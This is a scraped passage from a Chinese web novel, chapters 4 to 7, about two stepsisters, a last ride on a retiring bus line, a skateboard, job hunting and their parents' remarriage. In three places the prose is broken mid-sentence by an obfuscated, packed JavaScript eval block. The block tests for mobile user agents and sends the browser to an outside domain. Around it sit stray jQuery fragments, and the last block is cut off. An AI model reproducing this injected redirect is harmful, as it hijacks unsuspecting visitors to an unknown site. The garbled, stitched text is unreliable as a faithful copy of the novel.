“我请客啊,我请客。”她说话时虎牙露出来,有种俏皮感,“先尝尝甜头,晚上烧烤水钱就收费了。” 昭岁吸一口,玩笑道:“带你赚盆满钵满。” “你姐呢?” “我下午学完车过来的。” “你没叫她?” “她知道。” 临到发车前,昭岁站在车门口,弥望整个枢纽站,撤回了车厢里。 映年没来。 4. 第 4 章 公交车前车厢两个是面对面的四座,后车厢是若干个朝前的双人座。 起始站靠近江边,风吹进来,凉意十足。 公交车迷坐满了后面的座位,稍在前面的映年,拿着运动摄影机在拍摄vlog。她玩着提问点名的游戏,游戏开头,她依次点名,把摄影机递给对方作自我介绍。 刚问玩一圈,突然她听到咚咚在叫:“映年!” 昭岁心头一惊,顺着咚咚的方向看去,手里的相机也转过去。 隔着绿化带过去,是江边的沿途跑道,一截下坡路。昭岁踩着滑板,肩上等待一闪一闪红光,风吹起来她的外套,外臂的荧光条也在闪动,像鼓起的一颗水母在律动,待她把拉链拉下来,风卸了力,又恍如飘扬的旗帜。 昭岁惊喜,起身两步下了台阶,到无障碍位置,拉开窗户,终于吼道:“姐!” 映年高举起手,是在回应她的呼唤。 车停在公交车站。 滑板慢点,映年收了板,抱着疾驰,踏上了开门的车厢。 映年刷完卡,司机招呼:“你这四轮好帅。” 她笑笑,点点头,又说:“你的四轮还能载人呢。” 咚咚把昭岁身边的位置让出来,往后去。 公交车后座那帮人,穿着黄色系的短袖,胸前贴了一张铜版纸,上面写着“城市穿行俱乐部”。 这算什么俱乐部,充其量就这点人。 映年对着大伙点点头,坐下前解释:“下午面试刚出来。” 她顺理成章和昭岁坐在一块,她把滑板放在了地上,踩着轻轻地移来移去。 摄影机被递了过来,正对着映年,她看见画面中自己的脸。 “最终之旅加入了一个新伙伴,”昭岁的介绍在画外,示意映年接着相机,“映年,来自我介绍一下。” “嗨,我是映年,今年二十二岁,认识025路已经十五年了。”映年笑,问,“还要说什么?” “介绍一下你的滑板呗。”后头咚咚在说。 映年把相机递给昭岁,弯腰捡起来滑板,竖着把砂纸面贴紧胳膊,板面对着镜头,手扶着上下支架。 板面是一群卡通形象堆叠的兔子。 “兔兔,我跟着玩过弯道,也翻过车。”映年说,“好久没玩,生手生脚,还是坐车好。” 咚咚手长,摸了一把,蹭到磨砂纸,缩了回去。写后面的黄柠檬好奇,问了几句,映年一一解答,把话题转回到公交车上。 Vlog的问题大家准备了很多,是围绕025路展开,总体路线评价、最喜欢的时段和车型、有什么独属的回忆之类。 拍摄继续,挨着传递相机。 映年觉得新奇。滑板玩的都是跟车,单程持机风险度高,她还没学会。去年夏天陆续把滑板卖了,冲坡速降之类的活动不再参与,属于退坑的状态。 这些天心情不好,又去碗池溜过一会儿,今天临时接到面试通知,一并带上了滑板。刚巧江边的跑道没人,道路也好,见着025路过来,便划着跟上。 稍稍有从前放肆爱好的感觉了。 025路共二十五个站,大概一个小时的车程。修桥时封路,有过绕路的站,出现了二十六个,以为桥修好,会走捷径,没有,还是按着原来的二十五个站点在开。齐家住在第三个站的地方,遇到周末父母上班,姥姥就安排姐妹俩就等在车站,在车停靠时给父母送饭。 映年看向窗外,外面的门街商铺都变了样。一路上车站停靠后,几乎没人上来,前面车厢一直空空的。这是被取消的原因之一吧。 相机递到她手里,问题是“喜欢坐什么位置”。 “我很喜欢坐最后,最后能看清车厢里所有的情况。当然,现在很少有这种时候了,地铁发达起来,好多站只需要短暂用来过度换乘。” 映年说完,昭岁把相机拿回来。 “此言差矣!好多还是需要公交车的,它不像地铁那样庸碌那样死板,更具有人情味。”昭岁反驳,“要知道,公交车最开始挥手就能停,才能发展到好多招呼站呢。” “是,我要加深理解。”映年回她。 025路行驶到了终点站,天黑下来,寂静无比。 昭岁举着相机,把云台的支架放长,尽可能照到所有人。屏幕里,大家举着手指,都轻轻告别:“再见啦,025路。” 一群人下车,在原地等司机掉头过来。 大家齐力把横幅牵起来,昭岁想设置相机的定时拍摄,不知道怎么调整,还是咚咚在调,可是云台高度不够,一群人只能一排蹲着一排弯腰。 映年先瞧见那边平地上有灯,她还以为是调度房,穿过绿化带走过去,才发现是一个房车。 一个女孩坐在板凳上,面前的露营上摆着烧烤炉,她勤劳地翻串。 映年询问是否能帮忙拍照,女孩应下来,往放车里叫了声“姐”,很快,一个穿着蓝色长裙的中年妇女探出头来。 女孩说了映年的来意,起身把座位让给了长裙妇女,和映年一块往人群中去。 “你知道这附近哪有水吗?” “不清楚。”映年说,“她们应该知道。” 搬来的救兵正及时呢,咚咚从地上起来,把相机给女孩,正想教她。 女孩一口说出相机的型号,咚咚愣愣“嗯”一下,女孩便表示自己玩过。 眼见着她熟练地调整参数,咚咚便没再多话。 映年不是群里主要成员,站在边缘,咚咚想推她进去和昭岁站一块,她就是不动。 昭岁从中间看过来,想换个位置,抬头见公交车缓缓驶来,有人在催促了。 阵型便没再变,拍了下来。 女孩把相机递还给咚咚,称赞:“坐公交车?这真有趣。” 一旁的咚咚突然叫一声,兴奋道:“不会吧?你是不是逍遥小姚?” “是我,我是小姚。”小姚笑着,“你们知道附近哪有水吗?” “水有,前面有个公厕。”黄柠檬解答,又问咚咚,“网红啊?” “玩房车的,之前大霜在群里分享过。”咚咚说。 黄柠檬恍然,昭岁也反应过来,有印象。 小姚把手机拿出来,问:“方便定位一下地图吗?” 昭岁也把手机拿出来,输入025路车的路线,手指顺着路线走:“这个站过去两个站,有个小岔口,进去两百米就是。” “025路是吗?”小姚敲手机键盘。 公交车停靠到站,开启车门,有人开始上车了。 “要不你和我们一块呗?跟着车下去。”昭岁邀请,“今天最后一班了。” 小姚拒绝:“今天太晚。” 昭岁不恼,问:“下一站去哪?” 小姚说:“你关注我就知道了。” 映年却答:“南下是吧?” 小姚惊喜:“是。” 到发车时间,俱乐部的人没多留,一起上了车,坐回来原来的位置。 回去路上,没人再运作相机。 乘客们靠在椅背上,时而望向窗外,时而目停车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016289|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厢,时而闭目休息,车厢安静,开门关门,广播声到站和下一站。 025路在最后驰行。 穿山,跨水,破晓,夺夜,在每二十五个站停留去载十五年的乘客。 映年和昭岁,共享开头,中间下车,最后还是完完整整地坐完了全程。 映年坐在过道的位置,望向窗外,无可避免地捕捉到昭岁的神情。昭岁兴奋,又神伤,带着笑容。 记忆不太确凿,映年很难回忆起从前姐妹二人坐车的情形。她们都要坐在靠窗的位置,开着窗户,闹得当晚感冒发烧。 父母的婚姻就像一场高烧,没用灵丹妙药,在时间中自愈,又再度复合。为什么父母能够这么轻易的分开,又轻易的复合? 她们做不到,至少映年做不到。这宛如慢性毒药,低高温发作,起伏起伏的心境难以调平。 城市穿行俱乐部的人齐齐下车,再次站好位置。有小雨下来,地面湿了一半。 咚咚强硬拉着映年到了队伍中央,昭岁给映年衣服贴上了俱乐部标签,她没有拒绝。司机也一同下车,站在最中央的位置。 调度室里取出塑料板凳放置相机,背景板是公交车身,有枢纽站的大灯,大家洋溢着笑。 黄柠檬攒局,要走去烧烤店,顺便叫上司机。 昭岁看向映年,对方没说不去,松了一口气。一行人往烧烤店走。路上,雨慢慢变大,又稍稍跑起来。 是江边同样的路。不知谁起哄让映年拿着滑板溜一圈。 “不能沾水吧?”昭岁阻止,“也没带护具。” 咚咚在一旁也安抚:“别,真摔了。” 映年放下板,约定好:“等会我不吃肉,别说我扫兴。” 她左脚先横踏上板,右脚轻轻往后等,滑板带着身体往前移,右脚上了板。 映年往前飘了出去。 俱乐部的人在后头追。 映年迎着雨,这是她从前绝不会滑的天气。江上船鸣,霓虹波浪,空气阴晦又广袤,雨潇洒播散在地,如同谢幕时淅淅沥沥的掌声。 实际到烧烤店没多少路了。 快到店时,她微弯弯腰,做一个小漂移,再做一个起板的招式,握着板停了下来。 烧烤店人不多,又是矮凳,俱乐部做了四桌人。 咚咚和映年坐在一起,对面是昭岁和黄柠檬。 知道映年的饮食,大伙很照顾,把素菜都端过来,放在她面前。 黄柠檬问:“你怎么养成的吃素?我看昭岁也吃肉的。” 昭岁啃着骨头的动作一顿,她也好奇。 咚咚桌下轻轻踢了一脚。 “你踢到我了。”映年说。 咚咚手稍稍扶下镜框,提溜着大眼睛,看她。 映年怀疑咚咚就是故意的,她没拆穿,很干脆地讲:“生过一场病后,吃不了肉,生理上恶心。” “什么病?”咚咚脱口而出,自觉尴尬,“也不是非说不可。” 映年又讲:“筷子沾了点荤油就能吃出来,不是不想吃,是咽不下。” 咚咚略表遗憾:“那是错过好多美食。” 黄柠檬评价:“汝之蜜糖,彼之砒霜。” 一旁昭岁的情绪干瘪下去。 她去回想齐美裳那筷子的夹菜,是否上一秒添过红烧肉。她替齐美裳不平的同时,开始对映年委屈。这让昭岁不舒服,于是立马打算用花生豆浆去给映年判罪,很快,她反应过来,对这一闪而过的苛责而气恼,生出一种窘迫的羞耻感。 这太卑劣了。 5. 第 5 章 早饭时,映年接到面试成功的电话。对面询问映年能不能明天入职,她说先看看时间安排。 放下手机,映年才去了解那家公司。招聘软件写得很模糊,又去其他平台搜索,刷着用户的评价。 “学校结果出来了?”齐美裳问。 “呃,不是。”映年顶着齐美裳的目光,有种怕她失望的隐忧,话磨着出口,“一个音乐公司。” 实际上是旗下的一个工作室,最出名的公众人物是综艺出道的一个男星,绯闻缠身,急需公关洗白。映年投的就是这个岗。 这一整年重心全部放在考编上。她进面次数比预料中低太多,放低需求去考稍远的学校,进了面,也就那次她到酒店被临时取消住房,周围房间又爆满,无奈之下拨打齐美裳的电话。 齐家的旧房子就在那学校附近。祁孝逑知道,在映年考前还特意把笔袋塞进兜里,让她顺便带给昭岁。 那次进面,映年稳稳上岸了,可惜学校有分部,地区太偏。她稍稍自满,放弃了。紧接着考到今年四月,去考二中。二中是很好的中学,她以第一名的成绩进面,欣喜若狂,可惜被攻擂的男生刷下去了。 祁孝逑面上不显,说再接再厉,脸色藏不了情绪。他那会儿就不赞同映年放弃上岸,二中的竞争多大啊,多少人考好多年都考不上。 映年想,在她下岸后,祁孝逑会不会有一种料事如神的感觉呢? 现在多了齐美裳。映年更忐忑了。 对方真拔高音量:“音乐公司?” 映年囫囵吞下一颗汤圆:“对。” “做什么的?” “写写文案。” “你不是学地理吗?” “都差不多的。”映年稍稍在脑海中过了一下室友一号床现状,择了一个名气较大的房地产公司,“加班太重了,我推了。” 去年实习结束后,室友选择留下来,映年加入了考编队伍。对方偶尔会在群里吐槽上司毫无人性,到现在,忙到吐槽都锐减。 “你不是在考编吗?”齐美裳问。 “边工作边考吧。”毕业扔掉的那堆资料,映年半个多月没摸过习题了。 “音乐公司在哪?” “城西的文化街。” “那通勤一趟就一个半小时。” “嗯。” “那你把我车开去吧。” “不用,地铁直达,又不转线。” 映年又开始幻想等工作稳定之后搬出去,这事不必要现在说。 寥寥几句,话题结束。勺子碰到瓷碗,有清脆的撞击声。 映年听见齐美裳微乎其微的叹气,心头一紧。还好齐美裳没有语重心长的劝慰她,再接再厉,多学学就上岸,考个铁饭碗总归不会差的。祁孝逑一向扮演着体贴的角色——要真体贴,也不会把网球拍留下——这劝服的话向来是奶奶爱说的。 长辈总归是这样,看她一路优秀到了大学,会想怎么连个初中老师都考不上呢? 再想,初中那会儿她是考上的保送,更多同学是交了足额的学费。那笔学费,放在今天来看也值得咋舌。 离开时,映年小升初定了学校,昭岁才二年级。昭岁就没考上第二中学,交了学费才念的初中,可惜中考还是没能考上二中的高中部。 真要说差别也不大,映年室友就是昭岁念的中学,都一样的专业,睡一个宿舍,没什么差别。 白天约了三场面试。 映年不比前两日“吊儿郎当”的样子,跨出这步,今天好歹穿了衬衣。可惜面试体验不见得好,她走出来,后悔穿了衬衣。 不想回家吃饭,她挑了一家轻食店进去。这店排场很干净,大厅透亮,有两面都是落地窗。 映年寻了个窗边的位置坐下。 这面朝着露天停车场,有三辆房车停在外围,一群人围着桌子在吃坚果。 她认出来,坐边上的那两位是025路碰见的两位。她找到室友的短视频号,点击关注列表,在一群简介中挨个翻,找到了“逍遥小姚”,点进去关注上。 实习那会儿,室友天天梦要去环球旅行。室友是真是爱这个专业,读书那会儿就在穷游,去看了各种奇观地貌。映年则相反,她在学校混的很好,当班委积极参加比赛活动,加了滑板社团,出勤很高,中学本就在玩,大学练得更多,不够满足她的玩法了。 人外有人,映年加入地区滑板群,进阶又入全国群。群里有时会吆喝活动,离得近又有时间的话,映年就会去参与。 班委时间不是整块的,她只能在市内里那几个山坡打转。 再回大学生活,指不定室友邀请她一块旅行时,她不会拒绝。哪怕得罪辅导员。 逍遥小姚就是室友推给她关注的。室友话是说:“我小学同学呢……真爽,这么早就买车,能到处跑。” 映年说:“你穷游也能到处跑。” 室友遗憾:“不一样,读书是在读书,工作哪有时间。明明你玩滑板还可以,咋不玩了。” 映年沉默片刻,又道:“你也做自媒体呗。” 室友腼腆,显然不是这块料,她郁闷:“你要这么说,我大学穷游那阵就起号了。” 映年便说:“那看来还是可以屈服在工作上。” “是不够破釜沉舟,”室友对映年尖锐的评价免疫,“因为这工作我也挺喜欢的。” 室友的确喜欢她的工作。不是这样,也不会在群里散落,谈都懒得谈。 就像映年考编疲乏,绝不主动开启这一话题。 逍遥小姚的账号粉丝比去年多了十万,橱窗关联露营产品。视频点赞变多,俩姐妹的形象也变精神许多。她俩最初破圈是异父异父的重组家庭,姐妹二人相差了快二十岁,关系融洽异常。 映年一度认为这是常见的自媒体剧本,昨天见了,今天瞧见,体感是装不出来。 ——或者说,映年就算没室友腼腆,也真表演不出这水平。 毕业旅行室友邀请她,她备战笔试没去,异常后悔。那时候她一心想攒钱租房,押一付三的半年房租不低,祁孝逑有定期打生活费,恐怕七月就要断掉,她又没有工作,要长远计划省吃俭用。 祁孝逑曾提出过的旅游,可能对她来说出去放放风也挺好,哪怕是家庭出行的旅游。同处一个屋檐下,一家人也是不得不见面。 在经济面前,忍着恶心咽下一块荤不算什么。她有点后悔没回家吃,轻食餐又是一笔支出。 今天就不该出来。面试不是她所想,主要是心慌,想做点什么,不想闲着。每次等候时,她都在后悔没留在房地产公司,面试出来又觉得,傻叉老板都一个样,呆不呆都无所谓。 吃完在餐位里坐了一会儿,人多起来,映年刚想撤离,就见着小姚端着盘子坐在对面。 她想打声招呼,觉得唐突,不知道怎么开口。 小姚先说了话:“我们昨天是不是碰到过?” “对,公交站。”映年说,“接到水了吗?” “那停了,我又开了五公里接的。”小姚说。 映年没来由生起愧疚,眼下她更想问的是:“房车体验怎么样?” “接水不方便,其他都还行。”小姚说,“收获风景得忍耐一些不是?” “很贵吧,这车型。” “我们合买的,各出一半,不过我是贷款的。” 也是,室友的小学同学,年纪和映年差不了多少。房地产工作时,映年见过同事抱怨什么客户楼盘多少多少亿,谈下来这点钱都磨了大半年。“这点钱”?单面的数字金额要打三四个逗号,她听着听着对金额免疫,无关痛痒。 到祁孝逑买房,问她参考地段时,映年不假思索推了一个高配置的楼盘。见祁孝逑囊中羞涩讲起年纪大,银行最多给二十年,她后知后觉,自己连租房钱都紧紧巴巴呢。 她佩服起小姚的魄力。 坐车回家的公交车在对岸。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016290|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边拆了人行道,必须绕路走地下通道。映年对导航的距离生厌,没移动半步,上来对向的公交车。 反正不想回去,坐到终点站再回来。 映年特意上车坐到最后的位置,打开手机去看新增的粉丝,两千的瓶颈卡了很久,涨幅很慢,偶有一俩个关注。速降不是大众运动,她不是一流,近一年没更新过,评论都是一个月前问路线的。 不自觉打开逍遥小姚的频道浏览。 看完最新一条,还没更新到现在这城市。再往下滑,到了前期视频,开着倍速浏览,对比一下就出现了,现在视频剪辑节奏进步明显许多。 点击进姐妹二人的自诉。 逍遥是姐姐,小姚是妹妹。逍遥离婚后没工作,小姚生病后休学,姐妹二人空出时间,合计着买了房车,说走就走。 映年看得心头澎湃,隐隐感觉尝到了蜜糖,切到浏览器页面去搜房车的价格,去算每月的贷款,又感觉是砒霜。 室友的话是真言:“读书还能捡起来,工作休息,谁还要你?” _ 昭岁下午去趟学校,把资料拿回来,晚饭就和同学一块聚餐。黄柠檬无意说起她搬家的事情,同学们就举杯庆祝,恭喜她。昭岁没讲过复婚的事情,好多同学毕业都不一定联系,她何必制造话题。 都到成年的学生,聚餐喝的冰啤酒,一杯两杯恭喜下肚,她心头不见得欢喜。 回家时,昭岁在门口就听见摇滚乐的声音。 她用钥匙开门,见齐美裳飞扑到音响旁边,再调音量,摇滚乐没了。 见是昭岁,齐美裳再次扭大了。 “她又不是没带钥匙。”昭岁无语。 “就是放给她听的。”齐美裳语气带着淡淡的怨,她重新站到茶几前,挥动网球拍,“就怕她听不见。” 果然,映年的就业计划让齐美裳不舒服。和去世的刘海洋不一样,沈烟的条件可比齐美裳好多了。要不是昭岁在齐美裳手机看到移民相关的浏览记录,她还真以为齐美裳不在意。 齐美裳对沈烟的关注远大于祁孝逑,她曾旁敲侧击问过祁孝逑,映年对沈烟的称呼是什么。听到“烟姨”时,齐美裳的表情如释重负,感觉扳回一局。昭岁坐在一旁,去看一旁笑着的祁孝逑,思念起憨厚的刘海洋。 这不是背叛,她叫了刘海洋九年的“爸爸”,叫祁孝逑多出来一年。八岁前的记忆,比不过八岁后的经历,何况刘海洋一个优秀的父亲。哪怕是齐美裳暴露了听歌目的,对方也和和气气地一起听。 这不代表祁孝逑不合格,是记忆太模糊了,如同见到每一个和蔼的司机一样,昭岁一时之间很难适应。对比起来,音乐一响,在她心中反而是沈烟母女更有形象。 在刘海洋生病时,昭岁和沈烟打照面,果然是个极其利爽的阿姨。 听着音乐,昭岁不自觉哼了两句,她敛眉,过去把音响关了。齐美裳还在挥拍,没去再滑回来,说的是:“你喝酒了?” 这还用问? 昭岁看她手里的拍子:“哪来的?线都断了。” “又不影响挥拍,下午我在看网球技巧。”齐美裳说,“学了几招,上手就买新的。” 昭岁在茶几抽屉里翻了一遍,又打开玄关柜子,把羽毛球拍取出来,去掏球,是个网球,抖一抖,里头没有羽毛球了。 “出去都呗,新买的电视给你霍霍了。” “你喝酒打醉拳吗?” 齐美裳这样说,还是停了动作,夹着拍子走到玄关来。 她说:“球也没了。” 昭岁说:“超市买个新的呗。” 齐美裳说:“打网球吧?你出去走走,醒醒酒也行。” 昭岁看她,目光放在网球拍上,不知齐美裳何时这么喜欢运动,还是这是映年带回来的。 破了也不扔。 昭岁把网球扔在地上,弹起来握住,又砸在地上,一次比一次用力,直到球弹飞,没法及时握住。 6. 第 6 章 破网球拍成了齐美裳的心头好。 这让映年苦恼不已。她以为小区没有网球场,齐美裳就没发挥的地带,没想到齐美裳能力卓群,带领一帮姐妹占领羽毛球场打网球。 破球拍成了挥拍练习过度的必备。 映年面试偷拿出去丢过一次,回来放鞋,球拍又回来了。 吃晚饭时齐美裳在批评祁孝逑:“要不是保安捡到了,真让你给浪费。” 映年几次去瞪祁孝逑,对方起初眼神闪避,后来无所谓了,说:“买新的了。” “这是新的问题吗?”映年生气。 祁孝逑换成了羽毛球拍,可齐美裳还是不愿意改项目,就连祁孝逑提议扔给老张玩,也没得到许可。 选择来去,映年还是入职了音乐公司。 工作换成人事部,公关错过最佳时期,艺人生涯基本结束,汲取教训依旧给新员工培训公关方案。内容不轻松,映年对板块不熟悉,应付起来吃力。 小组长迎接映年,组织一场聚餐活动。一行人去烤肉店吃饭,配的是烧酒。开场时组长示意映年,映年端杯敬酒招呼同事,算是答谢。 好在酒桌文化不像前司,酒杯不用一举再举,同事年轻,话题围绕多是平日的玩乐,偶尔组长会点一下映年,她点头呐呐接话。 饭到中途,映年借口去洗手间离了席。 碳烤得脸热,她出洗手间没回座位,在窗台边站着吹空调。 有电话过来,是以歌,问她收到新买的滑板没。映年吃惊,还以为上午收到取件码是学校寄的毕业生照片,再点开物流,是个飘洋过海来的件。 她一时间心动,想起逍遥小姚之间的姐妹情,有股想要去找以歌的冲动。 “来啊,这几天我休假。”以歌自然邀请她,“带你去玩,准陪你。” “我刚上班呢。”映年烦躁。 “不是心灰意冷,不考了吗?” “没,”映年简要讲了一下工作,自嘲道,“等我混出头给你们当主理人。” 以歌笑,去摸紫色的短发:“带你去染个蓝毛。” 这还是映年在和报名时,以歌看着教师装扮的要求,逐字逐句狠狠读了一遍,慨叹可真省钱。 二人聊了一路,多数是以歌在说,映年在听。以歌讲起沈烟上学,听不太懂英文,和同学发生冲突,去找老师状告处理。讲乐队新招了个黑人女孩,拨弦一级棒,可惜就是个已婚人士,带孩挤压了练习时间。 她说乐团在争取一个国内的综艺,团员都挺想回来,又因为车旅费高有点犹豫。 以歌不满:“综艺里出席那装扮也得办成有良青年。” 组长从洗手间出来,坐在空调旁的沙发上,同她招呼,映年回应。 以歌还在说:“红不红也没事,现在还自在点。” 映年连续穿了几天的衬衫,不舒服,又想到滑板到了,便说:“晚点拍开箱视频发你看看。” 挂断电话,映年往餐桌走,组长也后窜上来,和她同行。 他问:“男朋友?” 映年纳闷,还是答:“我姐。” 他又说:“我也有个姐姐。” 映年不答话,落座下来。 迎新是迎映年,餐食是烤肉,她能吃的就锡纸包裹素菜,再搭点沙拉。烧酒倒是不错,她喝了不少,也无法弥补烦躁。 这种聚餐应该写进劳动法,列入加班的条例。 ——都差不多的。 这是映年对齐美裳的说法,实质上更像是她在说服自己。她的抗压能力一向很强,好像习惯了。习惯没有完整的假期,从小时候就要备战各种比赛,习惯争夺名次,必须要在前排看到自己的名字,习惯优秀本身,她尝尝与品学兼优的词挂钩。 映年猛然觉得自己变了,不知何时,变得钝了。 可能是大四这阵子,可能是念大学开始,可能更早,所以才会选择一个突破性的滑板运动,延缓麻木的感受。 她克服恐惧来练习一个个招式,那种成就爽感无法言说,到大学开始速降,又有新的体验。祁孝逑一直忧心安全,对速降极不赞同,偶有映年脱离撞向栏板,身体骨折的情况,每次如此,难免遭到一顿念叨。 但他无能阻止映年。 真正让映年停下来的不是家庭,不是伤病,是她按部就班的“马达”。即将实习映年辗转各公司面试,到实习工作开启,连轴转的加班,等到社员问她有没有兴趣去异地冲坡,映年才发现许久没打开过滑板的爱好群了。 这和预料中不一样啊……以前可是想,有了工作资金,能够在放假时自驾去各种地方散心吹风。 在她出二手板时,社员震惊不已,问她是否再想想,未来有的是机会。映年是笑了,她不确定未来,看不到未来。 后悔吗?祁孝逑有意无意地表达过后悔放弃录取,映年没什么感觉,她认为祁孝逑真实忧心的是她不确定的生活。至于映年自己,更后悔只留下了速降板。留双翘或者长板会好点吧?她做出这种假设后,又为现在的兔兔速降板道歉。 映年以为和兼顾学业一样,能够同步前进。 不同,完全不同。 就连映年擅长的学习,也没能她好过。一张张准考证垒起来不少,刷题更是一堆,毕业收拾时连带着网球拍一块扔掉了。 映年轻松许多,片刻后,又是择业。 毕业如同一场无知无觉的剥离,映年的傲气和精力被剐下来,又来一轮罔知所措的吞噬,目标芜杂,思维萎缩,疲惫麇集,如同焦枯的壳。 音乐公司通过,她没太多高兴。择业期希望今早找到工作,就业时又希望这段时间长点,光是闹钟响起时就累了。 聚餐结束,映年踏上地铁,还是没有位置。映年没报,吊着扶手,去看手拎着餐包的人群。她数着,车厢又半数人都带着餐包。 自带午饭可比商场预制菜便宜。 银行卡的资金足够租房,浏览的房型点了一个又一个收藏,每日都会接到房产中介的电话,映年早前搬家独居的想法却迟迟未能践行。 那又是一笔开支。 地铁转弯,有边玩手机边拎包的人撞在铁柱上。 映年平素没带包的习惯,她空出的两只手抓栏杆很稳。可她也会有玩手机的时刻,以后某个转弯被撞的就是她了。 如此想,疲惫中生出无助感。 映年讨厌晚上备餐,讨厌吃隔夜菜,讨厌微波炉加热蔬菜,更讨厌“不得不”。 不得不晚上备餐,不得不吃隔夜菜,不得不微波炉加热蔬菜——不得不上班。 上班唯一的动力就是薪资了。 _ 开一天车,祁孝逑看着新闻,迷迷瞪瞪睡着了。突然有人开灯,他眼睛光一晃,灯又灭了。 人已经醒了,就无所谓。他偏头去看,是映年,他说:“打开呗。” 映年抱着快递进来,放在地上,拿着换鞋凳在拆。款式是经典的双翘,板面是一只巨大的像素兔子,做工上等,只有板,其他零件得自己配。 祁孝逑走过来。 “新买的?” “嗯。” “你平时也带昭岁玩玩呗。” “她们不是有网球可以玩吗?”映年打开柜门,网球拍果然不在,她说话带着气,心头也知道这不能怪在母女俩身上,“我不知道你为什么不扔。” “忘扔了。”祁孝逑说,“你不玩,不能让别人不玩。” “你不拿回来,她们也不会玩。” 祁孝逑默了片刻,说:“你不是还要考二中吗?” “可我也没学会啊。” “那本来就不该是网球的问题。” 不是网球的问题。映年冥冥中也清楚,可她补足网球的问题。 他轻飘飘一句,让映年更生气了,上班憋了一天,回家还得受这气,她是忍不了。于是举着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刚想回家,昭岁收到黄柠檬的消息,要不要一起来玩剧本杀。她没玩过,但不想拒绝黄柠檬的,就上楼去了。 本子是个恐怖本,都是认识的同学,不认识也眼熟,一圈介绍都是校友,就是小学或中学的区别。 到入场后,才发现多出一个人来。她们临时换了升级了个其他的本,开始游戏。 昭岁没记住名字,又听着她们说了一遍角色名字。 环境沉浸式,主持人专业,昭岁的剧本厚实一沓。她刚读完两页,就抬头去看别人,又埋头继续读,字如漂浮空中的蜈蚣,张牙舞爪,咬在她眼球上,迫使她眯眼。 她领到一个关键任务,要帮助凶手脱困,这让她昏昏欲睡的精神了一些。恐怖本是变格一类,神秘学元素充斥,让她出戏几次。 昭岁尽可能去辩,帮助队友掩体,在每次关键节点有新的输出,却被凶手出卖,最后真凶是逃脱了,昭岁大比分出局。 昭岁挂了一脑门虚汗,这在结账时听到金额,大惊失色,这和付费开会有什么区别?结束后,主持人夸奖她的神勇,黄柠檬也说昭岁不像是新人。 这个宽慰不要也罢。 她在反馈意见表上洋洋洒洒填写了一大段。这种任务设计的很没体验感! 接下来要去吃饭。烤鱼、羊肉锅、酸汤牛肉还是火锅,她们在商量,每次黄柠檬问昭岁意见,她舔着没消下去的口腔溃疡,舌头违心地都说可以。 在商场溜了一圈,走进火锅店。昭岁喜欢吃火锅,菜上上来,她边吃边飙泪,黄柠檬以为是她太辣了,又想给她添酒,昭岁拒绝了。她喝茶水,省得回家被齐美裳数落一番。 这场结束后,要拉着要去唱ktv。昭岁唱歌水准一般,朋友们捧场,哪怕一手下来的音调不准,也能欢喜鼓舞。 她还是没守住,玩骰子输了几杯酒,一天下来,终于记住了名字。回家路上,大伙还在兴奋劲中,一起在计程车上唱歌,黄柠檬约定过两天去医院脱毛。 昭岁先下了车,上电梯时,心情雀跃,哼哼着歌,扯到口腔溃疡,痛一下也无所谓。 7. 第 7 章 客厅里,祁孝逑坐在沙发上看电视,映年在餐桌吃饭。 昭岁主动打了声招呼,回房间躺了会,整理衣服,在手机里点出今天听到的歌,进了浴室边听边哼。 等到刚打起头发的泡沫,音乐播放到摇滚曲时,昭岁察觉到不对,已经晚了。从前有淋湿手机的经历,她一向把手机放在外面。 这节奏再熟悉不过。 映年切菜的手一顿,她望向客厅。 厨房的门框挡住祁孝逑,电视上播着地方台的民生节目,正在调解子女继承的矛盾。 摇滚乐中,映年踩着旋律搅拌蔬菜沙拉。 装好从厨房出来,她故意去看一眼祁孝逑,人还绷着,她坐在玄关换鞋,抱着滑板出门去了。 昭岁套好衣服出来,手机播放正在流行歌曲。她扫一眼,餐厅里的映年不在了,又偷瞄沙发上的祁孝逑,并无异状,抱着脏衣服穿过客厅,往阳台去。 微信消息弹出来,黄柠檬拉她进群。 下一条消息是群收款。 昭岁关了水龙头,坐在椅凳上,打开微信。咚咚还没回消息,姐妹群一直蹦红点。 她也热络地聊起来。 齐美裳关门发出一声巨响。 她脱了鞋进屋,在沙发上躺了一会儿,又起来,盯着祁孝逑,脸色臭。 他不明所以:“怎么了?” 齐美裳没答,又坐下来,躺着问:“映年呢?” 祁孝逑轻抬头向映年的房间。 “昭岁呢?” 祁孝逑又微偏头移眉到阳台。 齐美裳站起来,停了一下,往阳台去。 昭岁还在和姐妹群一起做攻略,谈论去医院好点还是美容院。她们倾向于价低的年卡,昭岁则问万一考到外省去了呢?这话没说服其余人。 私聊窗口弹出消息。 黄柠檬:是不是想好报什么学校了? 昭岁:去北方。 昭岁:你呢? 黄柠檬:估计留鹊市了。 黄柠檬:那你还想学汉语言吗? 昭岁:不。 昭岁:你呢? 她等了一会儿,上方显示“正在输入中”,又停了下来。 “你想去北方?” 昭岁被吓一跳,抬头见齐美裳倚在阳台门口,面色凝重。 她不说话。 